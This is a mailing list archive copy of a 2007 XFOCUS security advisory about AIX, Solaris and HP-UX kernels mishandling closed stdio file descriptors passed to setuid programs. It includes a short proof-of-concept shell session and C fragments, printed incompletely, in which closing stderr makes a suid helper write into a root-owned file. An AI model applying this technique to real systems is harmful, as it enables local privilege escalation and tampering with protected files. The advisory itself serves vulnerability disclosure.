lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
Hash Suite for Android: free password hash cracker in your pocket
[<prev] [next>] [thread-next>] [day] [month] [year] [list]
Date: Thu, 18 Jan 2007 22:21:52 +0800
From: XFOCUS Security Team <>
Subject: Multiple OS kernel  insecure handling of stdio file descriptor

XFOCUS team (  had discovered Multiple OS kernel
insecure handling of stdio file descriptor.

Affected OS Version

AIX 5.3
Solaris 9
HPUX B11.11
(maybe other version,we did not tested)


The affected OSes allows local users to write to or read from restricted
files by closing the file descriptors 0 (standard input), 1 (standard
output), or 2 (standard error), which may then be reused by a called
setuid process that intended to perform I/O on normal files. the attack
which exploit this vulnerability possibly get root right.


-bash-3.00$ oslevel -r
-bash-3.00$ ls -l bb
-rw-r--r--   1 root     system            0 12月05 20时34 bb
-bash-3.00$ ls -l k
-rwxr-xr-x   1 root     system        58242 12月03 23时13 k
-bash-3.00$ ls -l tt
-rwsr-xr-x   1 root     system        59096 12月03 23时14 tt  (this is a
suid program,called by k)
-bash-3.00$ cat k.c
int main()
  close(2); //close 2 before call tt
-bash-3.00$ cat tt.c
int main()

  int f=open("/tmp/bb",1);

-bash-3.00$ id
uid=202(cloud) gid=1(staff)
-bash-3.00$ ./k
f=2      #err info wrote into bb file
-bash-3.00$ ls -l bb
-rw-r--r--   1 root     system            6 12月05 20时35 bb

Time Line
2005-12-xx   Discover this vulnerability
2006-12-12   Initial vendor notifiation
2006-12-12   HP responses ,assgin to SSRT061287;
             Sun responses but mistake this vulnerablitily as
                application bug and hope us figoure out real attack
             Aix no responses;
2007-01-18   public disclosure


Kind Regards,

XFOCUS Security Team

Powered by blists - more mailing lists